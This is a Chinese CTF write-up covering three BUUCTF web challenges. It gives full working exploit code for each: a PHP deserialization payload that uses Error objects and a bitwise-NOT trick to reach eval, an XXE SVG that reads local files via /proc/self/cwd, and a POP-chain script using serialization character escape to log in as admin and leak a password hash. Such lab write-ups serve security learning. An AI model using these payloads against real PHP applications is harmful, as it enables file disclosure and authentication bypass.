WebCTFBUUCTF刷题(3)
1azy_fish.[极客大挑战 2020]Greatphp
进去给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
|
php反序列化+php原生类+取反绕过=秒了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1);$b=new Error($str,2); $great = new SYCLOVER(); $great->syc = $a; $great->lover = $b; echo(urlencode(serialize($great))); ?>
|
[BSidesCF 2019]SVGMagic
如题
SVG矢量图(使用xml编写)?一眼XXE
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
文件包含多考虑/proc
文件,本题/proc/self/cwd
就是当前路径
[GYCTF2020]Easyphp
考点:反序列化的对象逃逸
进入之后发现有/www.zip
泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| <?php error_reporting(0); session_start(); function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } class User { public $id; public $age=null; public $nickname=null; public function login() { if(isset($_POST['username'])&&isset($_POST['password'])){ $mysqli=new dbCtrl(); $this->id=$mysqli->login('select id,password from user where username=?'); if($this->id){ $_SESSION['id']=$this->id; $_SESSION['login']=1; echo "你的ID是".$_SESSION['id']; echo "你好!".$_SESSION['token']; echo "<script>window.location.href='./update.php'</script>"; return $this->id; } } } public function update(){ $Info=unserialize($this->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']); } public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); } public function __destruct(){ return file_get_contents($this->nickname); } public function __toString() { $this->nickname->update($this->age); return "0-0"; } } class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } } Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->sql; } } class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="root"; public $dbpass="root"; public $database="test"; public $name; public $password; public $mysqli; public $token; public function __construct() { $this->name=$_POST['username']; $this->password=$_POST['password']; $this->token=$_SESSION['token']; } public function login($sql) { $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); if ($this->mysqli->connect_error) { die("连接失败,错误:" . $this->mysqli->connect_error); } $result=$this->mysqli->prepare($sql); $result->bind_param('s', $this->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this->token=='admin') { return $idResult; } if (!$idResult) { echo('用户不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密码错误!'); return false; } $_SESSION['token']=$this->name; return $idResult; } public function update($sql) { } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $user=new user(); if(isset($_POST['username'])){ if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){ die("<br>Damn you, hacker!"); } if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){ die("Damn you, hacker!"); } $user->login(); } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你还没有登陆呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
|
代码审计,发现login.php中的过滤坚不可摧(
而且lib.php中有反序列化入口,很显然是要我们反序列化打
入口
1 2 3 4 5
| public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
|
pop链子:UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()
反序列化字符逃逸
由于我们是逃逸出来的,所以我们必须得让程序能够成功的序列化。
我们来生成一个正常的Info
类对象:
1 2 3 4 5 6 7 8
| <?php class Info{ public $age = 19; public $nickname='Lazy_fish'; public $CtrlCase; } echo serialize(new Info()); O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:4:"JOHN";s:8:"CtrlCase";N;}
|
在这个反序列化字符串中,我们能够控制的属性是age和nickname;由于反序列化的字符中有三个属性。为了保持一致,所以我们要在payload前加上";s:8:"CtrlCase";
在后面加上}
来闭合这个反序列化字符串。让它把后面的字符忽略。
这里一共使443个字符,因此需要nickname
中插入适当的黑名单字符,把payload逃逸出去,一个union
变成hacker
会多出一个字符,这里用443个union
。
最终版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class User{ public $id; public $age="select password,id from user where username=?"; public $nickname=null; } class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } } class UpdateHelper{ public $id; public $newinfo; public $sql; } class dbCtrl { public $hostname="127.0.0.1"; public $dbuser="root"; public $dbpass="root"; public $database="test"; public $name='admin'; public $password; public $mysqli; public $token='admin'; } $d = new dbCtrl(); $b = new Info('','1'); $b->CtrlCase=$d; $a = new user(); $a->nickname=$b; $c=new UpdateHelper(); $c->sql=$a; $payload = '";s:8:"CtrlCase";' . serialize($c) . "}"; $length = strlen($payload); $payload = str_repeat('union', $length).$payload; echo($payload); ?>
|
得到密码da59e4f1324894ee311779eda7e83abd,丢到md5解密试一试
直接登录